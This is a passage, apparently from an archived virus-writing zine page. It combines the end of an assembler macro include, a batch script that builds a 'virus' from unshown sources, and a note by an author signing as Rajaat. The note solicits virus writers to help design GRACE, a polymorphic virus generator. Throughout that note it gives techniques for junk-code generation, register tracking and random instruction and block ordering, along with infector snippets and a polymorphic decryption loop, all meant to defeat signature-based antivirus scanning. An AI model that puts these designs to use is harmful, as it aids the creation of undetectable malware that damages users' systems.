;[]------------------------------------------------------------[]
;| |
;| Segment Definitions |
;| |
;[]------------------------------------------------------------[]

IFDEF __C0__

_TEXT SEGMENT BYTE PUBLIC 'CODE'
ENDS

_FARDATA SEGMENT PARA PUBLIC 'FAR_DATA'
ENDS

_FARBSS SEGMENT PARA PUBLIC 'FAR_BSS'
ENDS

_DATA SEGMENT PARA PUBLIC 'DATA'
ENDS
ENDS

_CONST SEGMENT WORD PUBLIC 'CONST'
ENDS

_CVTSEG SEGMENT WORD PUBLIC 'DATA'
ENDS

_SCNSEG SEGMENT WORD PUBLIC 'DATA'
ENDS

_INIT_ SEGMENT WORD PUBLIC 'INITDATA'
InitStart label byte
ENDS
_INITEND_ SEGMENT BYTE PUBLIC 'INITDATA'
InitEnd label byte
ENDS

_EXIT_ SEGMENT WORD PUBLIC 'EXITDATA'
ExitStart label byte
ENDS
_EXITEND_ SEGMENT BYTE PUBLIC 'EXITDATA'
ExitEnd label byte
ENDS

IFNDEF __HUGE__
_BSS SEGMENT WORD PUBLIC 'BSS'
BeginBSS label byte
ENDS
_BSSEND SEGMENT BYTE PUBLIC 'BSSEND'
EndBSS label byte
ENDS
ENDIF


IFDEF __WINDOWS__

IFDEF __HUGE__
DGROUP GROUP NULL,_DATA,_CONST,_FPSEG,_CVTSEG,_SCNSEG,_INIT_,_INITEND_,_EXIT_,_EXITEND_
ELSE
DGROUP GROUP NULL,_DATA,_CONST,_FPSEG,_CVTSEG,_SCNSEG,_INIT_,_INITEND_,_EXIT_,_EXITEND_,_BSS,_BSSEND
ENDIF

ELSE

IFNDEF __NOFLOAT__
IF LDATA
IFDEF __HUGE__
DGROUP GROUP _DATA,_CONST,_CVTSEG,_SCNSEG,_INIT_,_INITEND_,_EXIT_,_EXITEND_
ELSE
DGROUP GROUP _DATA,_CONST,_CVTSEG,_SCNSEG,_INIT_,_INITEND_,_EXIT_,_EXITEND_,_BSS,_BSSEND
ENDIF
ELSE
IFDEF __TINY__
DGROUP GROUP _TEXT,_DATA,_CONST,_CVTSEG,_SCNSEG,_INIT_,_INITEND_,_EXIT_,_EXITEND_,_BSS,_BSSEND
ELSE
DGROUP GROUP _DATA,_CONST,_CVTSEG,_SCNSEG,_INIT_,_INITEND_,_EXIT_,_EXITEND_,_BSS,_BSSEND
ENDIF
ENDIF
ELSE
IF LDATA
IFDEF __HUGE__
DGROUP GROUP _DATA,_CONST,_CVTSEG,_SCNSEG,_INIT_,_INITEND_,_EXIT_,_EXITEND_
ELSE
DGROUP GROUP _DATA,_CONST,_CVTSEG,_SCNSEG,_BSS,_BSSEND
ENDIF
ELSE
IFDEF __TINY__
DGROUP GROUP _TEXT,_DATA,_CONST,_CVTSEG,_SCNSEG,_INIT_,_INITEND_,_EXIT_,_EXITEND_,_BSS,_BSSEND
ELSE
DGROUP GROUP _DATA,_CONST,_CVTSEG,_SCNSEG,_INIT_,_INITEND_,_EXIT_,_EXITEND_,_BSS,_BSSEND
ENDIF
ENDIF
ENDIF ; __NOFLOAT__

ENDIF ; __WINDOWS__

ELSE

Code_Seg@
Code_EndS@
Data_Seg@
Data_EndS@
DGROUP GROUP _DATA

ENDIF ; __C0__

PAGE
;[]------------------------------------------------------------[]
;| |
;| Old Segment Declarations Macros |
;| |
;[]------------------------------------------------------------[]


CSeg@ MACRO ;; Open a Code Segment
_TEXT SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:_TEXT
ENDM

CSegEnd@ MACRO ;; Close a Code Segment
_TEXT ENDS
ENDM

DSeg@ MACRO ;; Open a Data Segment (initialized)
_DATA SEGMENT WORD PUBLIC 'DATA'
ENDM

DSegEnd@ MACRO ;; Close a Data Segment (initialized)
_DATA ENDS
ENDM

IFDEF __BSS__
IFNDEF __HUGE__
BSeg@ MACRO ;; Open a Data Segment (un-initialized)
_BSS SEGMENT WORD PUBLIC 'BSS'
ENDM

BSegEnd@ MACRO ;; Close a Data Segment (un-initialized)
_BSS ENDS
ENDM
ENDIF
ENDIF

Header@ MACRO
_TEXT SEGMENT BYTE PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
_DATA ENDS
IFDEF __BSS__
IFNDEF __HUGE__
_BSS SEGMENT WORD PUBLIC 'BSS'
_BSS ENDS
ENDIF
ENDIF

ASSUME CS:_TEXT, DS:DGROUP
ENDM

PAGE
;[]------------------------------------------------------------[]
;| |
;| C Naming Convention Macros |
;| |
;[]------------------------------------------------------------[]

UNDERSCORE EQU 1

ExtSym@ MACRO Sym, sType, sName
IFNB <sName>
IFIDN <sName>, <__PASCAL__>
NAMING = 0
ELSE
NAMING = UNDERSCORE
ENDIF
ENDIF
IF NAMING
EXTRN _&Sym : sType
Sym&@ equ _&Sym
ELSE
EXTRN Sym : sType
Sym&@ equ Sym
ENDIF
ENDM

PubSym@ MACRO Sym, Definition, sName
IFNB <sName>
IFIDN <sName>, <__PASCAL__>
NAMING = 0
ELSE
NAMING = UNDERSCORE
ENDIF
ENDIF
IF NAMING
PUBLIC _&Sym
_&Sym Definition
Sym&@ equ _&Sym
ELSE
PUBLIC Sym
Sym Definition
Sym&@ equ Sym
ENDIF
ENDM

Static@ MACRO Sym, Definition, sName
IFNB <sName>
IFIDN <sName>, <__PASCAL__>
NAMING = 0
ELSE
NAMING = UNDERSCORE
ENDIF
ENDIF
IF NAMING
_&Sym Definition
Sym&@ equ _&Sym
ELSE
Sym Definition
Sym&@ equ Sym
ENDIF
ENDM

PAGE
;[]------------------------------------------------------------[]
;| |
;| Macros which are Data Size Dependent |
;| |
;[]------------------------------------------------------------[]

IF LDATA
DPTR_ equ DWORD PTR
dPtrSize equ 4
LES_ equ LES
ES_ equ ES:
SS_ equ SS:
LDS_ equ LDS

pushDS_ MACRO
PUSH DS
ENDM

popDS_ MACRO
POP DS
ENDM

PushPtr MACRO dPtrOff, dPtrSeg
PUSH dPtrSeg
PUSH dPtrOff
ENDM


dPtr@ MACRO Sym, VALUE, sName ;; Static Data pointer
Static@ Sym, <DD VALUE>, sName
ENDM

dPtrPub@ MACRO Sym, VALUE, sName ;; Global Data Pointer
PubSym@ Sym, <DD VALUE>, sName
ENDM

dPtrExt@ MACRO Sym, sName ;; External Data Pointer
ExtSym@ Sym, DWORD, sName
ENDM
ELSE
DPTR_ equ WORD PTR
dPtrSize equ 2
LES_ equ MOV
ES_ equ DS:
SS_ equ DS:
LDS_ equ MOV

pushDS_ MACRO
ENDM

popDS_ MACRO
ENDM

PushPtr MACRO dPtrOff, dPtrSeg
PUSH dPtrOff
ENDM

dPtr@ MACRO Sym, VALUE, sName ;; Static Data pointer
Static@ Sym, <DW VALUE>, sName
ENDM

dPtrPub@ MACRO Sym, VALUE, sName ;; Global Data Pointer
PubSym@ Sym, <DW VALUE>, sName
ENDM

dPtrExt@ MACRO Sym, sName ;; External Data Pointer
ExtSym@ Sym, WORD, sName
ENDM
ENDIF
PAGE
;[]------------------------------------------------------------[]
;| |
;| Macros which are Code Size Dependent |
;| |
;[]------------------------------------------------------------[]

IF LPROG
CPTR_ equ DWORD PTR
cPtrSize equ 4

Proc@ MACRO Sym, sName ;; Open a Static function
Static@ Sym, <PROC FAR>, sName
ENDM

PubProc@ MACRO Sym, sName ;; Open a Public function
PubSym@ Sym, <PROC FAR>, sName
ENDM

ExtProc@ MACRO Sym, sName ;; External Function
ExtSym@ Sym, FAR, sName
ENDM

cPtr@ MACRO Sym, VALUE, sName ;; Static Function pointer
Static@ Sym, <DD VALUE>, sName
ENDM

cPtrPub@ MACRO Sym, VALUE, sName;; Global Function Pointer
PubSym@ Sym, <DD VALUE>, sName
ENDM

cPtrExt@ MACRO Sym, sName ;; External Function Pointer
ExtSym@ Sym, DWORD, sName
ENDM
ELSE
CPTR_ equ WORD PTR
cPtrSize equ 2

Proc@ MACRO Sym, sName ;; Open a Static function
Static@ Sym, <PROC NEAR>, sName
ENDM

PubProc@ MACRO Sym, sName ;; Open a Public function
PubSym@ Sym, <PROC NEAR>, sName
ENDM

ExtProc@ MACRO Sym, sName ;; External Function
ExtSym@ Sym, NEAR, sName
ENDM

cPtr@ MACRO Sym, VALUE, sName ;; Static Function pointer
Static@ Sym, <DW VALUE>, sName
ENDM

cPtrPub@ MACRO Sym, VALUE, sName ;; Global Function Pointer
PubSym@ Sym, <DW VALUE>, sName
ENDM

cPtrExt@ MACRO Sym, sName ;; External Function Pointer
ExtSym@ Sym, WORD, sName
ENDM
ENDIF

EndProc@ MACRO Sym, sName ;; Close a function
Static@ Sym, ENDP, sName
ENDM

PAGE
;[]------------------------------------------------------------[]
;| |
;| Miscellaneous Definitions |
;| |
;[]------------------------------------------------------------[]

;*** Set up some macros for procedure parameters and export/import

nearCall STRUC
nearBP dw ?
nearIP dw ?
nearParam dw ?
nearCall ENDS

farCall STRUC
farBP dw ?
farCSIP dd ?
aParam dw ?
farCall ENDS

;*** Next, we define some convenient structures to access the parts
; of larger objects.

_twoBytes STRUC
BY0 db ?
BY1 db ?
_twoBytes ENDS

_fourWords STRUC
W0 dw ?
W1 dw ?
W2 dw ?
W3 dw ?
_fourWords ENDS

_twoDwords STRUC
DD0 dd ?
DD1 dd ?
_twoDwords ENDS

_aFloat STRUC
double dq ?
_aFloat ENDS

; How to invoke MSDOS.

MSDOS@ MACRO
int 21h
ENDM
PAGE

; The next section concerns the use of registers. SI and DI are used
; for register variables, and must be conserved.

; Registers AX, BX, CX, DX will not be preserved across function calls.

; Firstly, the registers to be conserved through function calls, including
; the setup of local variables.

link@ MACRO _si,_di,_ES,locals
push bp
mov bp, sp
IFNB <locals>
lea sp, locals
ENDIF
IFNB <_si>
push si
ENDIF
IFNB <_di>
push di
ENDIF
ENDM

unLink@ MACRO _si,_di,_ES,locals
IFNB <_di>
pop di
ENDIF
IFNB <_si>
pop si
ENDIF
IFNB <locals>
mov sp, bp
ENDIF
pop bp
ENDM

.LIST

-----[ end rules.asi ]-----

-----[ start bldfick.bat ]-----

@echo off
echo Building Model Tiny startups
TASM /M /MX /Q /T /D__TINY__ c0, c0t
echo Building Virus
bcc -L. -r- -tDc -mt -3 -Z -d -1 ficknitz.c fse.asm
echo Done.

-----[ end bldfick.bat ]-----

-----[ start help.me! ]-----

Note: This file was first confidentially spread to various virus writers,
and I finally came to the conclusion that since the nature of GRACE
will be very generic, av'er cannot take it into account beforehand.
Therefore it's completely safe to spread this, since most scanners
still rely on some sort of string scanning, and av'er don't like going
through thousands of old virus strings if they don't need to.


GRACE
=====

At the moment I'm making plans on writing a virus generator. A virus
generator on itself is not a novel idea. We have seen different
approaches from a menu interface (VCL) to modular code with
configuration files (G2). To avoid making another clone of one of these,
I have decided to take a complete different approach. The program I'm
planning to make is not as much as a virus generator, but more of a kind
of "meta-assembly" language which can be used for virus exploits. The
language can be extended by external C source code, which gets loaded
and compiled by the generator during runtime. The virus code is being
generated from a template file, which contains mixed meta and assembly
code, of which parts can or can not be included, which is decided by a
configuration file for that template (a la PS-MPC).

You see that this is a mighty big project, and it will sure take me a
lot of time to finish it, granted if I succeed at all. I have called
this project GRACE (Generic Random Assembly Construction Engine). To let
GRACE to be of use to you, I need your help. I want you to exchange
ideas with me how the meta language should look like, what possibilities
you want in the language, etc.

Opcodes
=======

GRACE will feature an extended opcode set for generating random
instructions. This can be mixed through the assembler code. Here are a
few examples of what kind of extended opcodes I mean:

opcode could generate

ZERO <reg> MOV <reg>,0
or
SUB <reg>,<reg>
or
CLC
SBB <reg>,<reg>
or
XOR <reg>,<reg>
or
AND <reg>,0

LOAD <reg>,<reg>|<mem>|<imm>| MOV <reg>,<rval>
<mem+reg> = <rval> or
ZERO <reg>
ADD <reg>,<rval>
or
ZERO <reg>
OR <reg>,<rval>
or
ZERO <reg>
XOR <reg>,<rval>
or
ZERO <reg>
CLC
ADC <reg>,<rval>

INCR <reg>|<mem+reg>| INC <rval>
<mem> = <rval> or
ADD <rval>,1
or
SUB <rval>,-1

DECR <reg>|<mem+reg>| DEC <rval>
<mem> = <rval> or
SUB <rval>,1
or
ADD <rval>,-1

You see the idea

  
here, be creative, thing of nice possible constructs
how to move registers, compare things, do branches, whatever! As you
see, the opcodes can be recursed, so this leaves room for maximum
flexibility.

Example idea of how the meta code would look like with these two
new opcodes:

open_file: load ax,3d02h ; open file
load dx,9eh ; dta :-)
int 21h
jc error
load ax,4202h ; end of file
zero cx
zero dx
int 21h

Or a simple dencryption loop, which now turns out to be nicely
polymorphically generated:

load cx,virus_bytes
load si,encrypted_code
decrypt: xor byte ptr [si],bvalue
incr si
decr cx
jnz decrypt

Register tracking
=================

If I can do some sort of register tracking, I can see which registers
are free for generating trash functions for between the code, but I
cannot predict what registers get filled with important values after
calling an interrupt. How should I track the registers? I thought the
simplest approach would be using statements for reserving, freeing and
tracking registers. For example:

load ax,3d02h
load dx,offset filename
int 21h
jc error
RESERVE AX ; protects file handle
some trash code generation opcodes that you have thought of :-)
FREE AX ; frees file handle
load bx,4202h
xchg ax,bx
RESERVE AX,BX ; protects file handle


Should I try to do some register tracking? It is not so easy to do. What
I can do is let the generator output warning messages that a register
that is reserved is being manipulated, or let GRACE generate push and
pop sequences to save registers? That would not be safe if there is a
branch that jumps out of the RESERVE and FREE statements. Comments
please!

Random Line Ordering
====================

To be truly of use, it should be possible to let lines of code get
swapped, or in case a meta opcode is used, get mixed if possible. How
should I define blocks of lines that can be swapped? I was thinking
about this:

BEGIN MIX
load si,encrypted_file
load cx,virus_bytes
END MIX
decrypt: xor byte ptr [si],bval
incr si
decr cx
jnz decrypt

or to lseek to the end of the file:

BEGIN MIX
load ax,4202h
zero cx
zero dx
END MIX

Beware: you cannot mix incr si/decr cx from the 1st example, as the
branch depends on the result on the operation on cx, which gets
destroyed of si gets modified after it.

Random Block Ordering
=====================

I have absolutely no idea how I'll do this, I had an idea about defining
blocks of code with name and level, so blocks can be nested, or should I
autodetect levels, so I can simply use brackets ({}) for defining
blocks? That would make it VERY nice.

{
open_file: load ax,3d02h
int 21h
jc error
xchg ax,bx
error: ret
}

{
close_file: load ah,3eh
int 21h
ret
}

check_type: cmp word ptr [exe_id],'MZ'
je exefile
cmp word ptr [exe_id],'ZM'
je exefile
jmp comfile
{
{
com_file: etc;
}
{
exe_file: etc;
}
}

This makes it very cryptic and you easily can get problems with
branching out of range, so please give me some comments on this one!

Random Register Selector
========================

For some matters (especially encryption loops) it would be nice if you
could load a random register in a symbol, which you could use in your
assembler statements, like a random definition from a c-like
preprocessor. Ofcourse it should work with statements like for example
RESERVE and FREE. Look at this sample:

BEGIN MIX
EVO = random("SI","DI","BX")
RESERVE EVO
load EVO,encrypted_virus_offset
COUNTER = random("AX","BX","CX","DX","SI","DI","BP")
load COUNTER,virus_bytes
RESERVE COUNTER
END MIX
decrypt: xor byte ptr [EVO],bval
incr EVO
decr COUNTER
jnz decrypt
FREE EVO,COUNTER

Conditionals
============

To make GRACE work with configuration files, the meta language should
support some conditionals that can evaluate strings that have been read
from the configuration file. I can't use the normal IF, since that is a
reserved TASM word. Should I use IFOPT and ENDIFOPT? Or should I create
C-like IF constructs? I can recognize them simply with grammar, since
C's IF uses () and TASM doesn't.

if (tsr == "Y") || (tsr == "Yes")
hey you see that? If I want to do this approach, I should
provide some string comparison and manipulation functions... You
know what I want to ask from you...


The end of the story, the beginning of my biggest project.

If you have any ideas or want to contact me on this project, feel free
to send email to: rajaat@itookmyprozac.com

If there is enough interest, I shall see if I can make some sort of
mailing list to keep people informed, or keep up a homepage of the
progress and discussions.

-----[ end help.me! ]-----

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT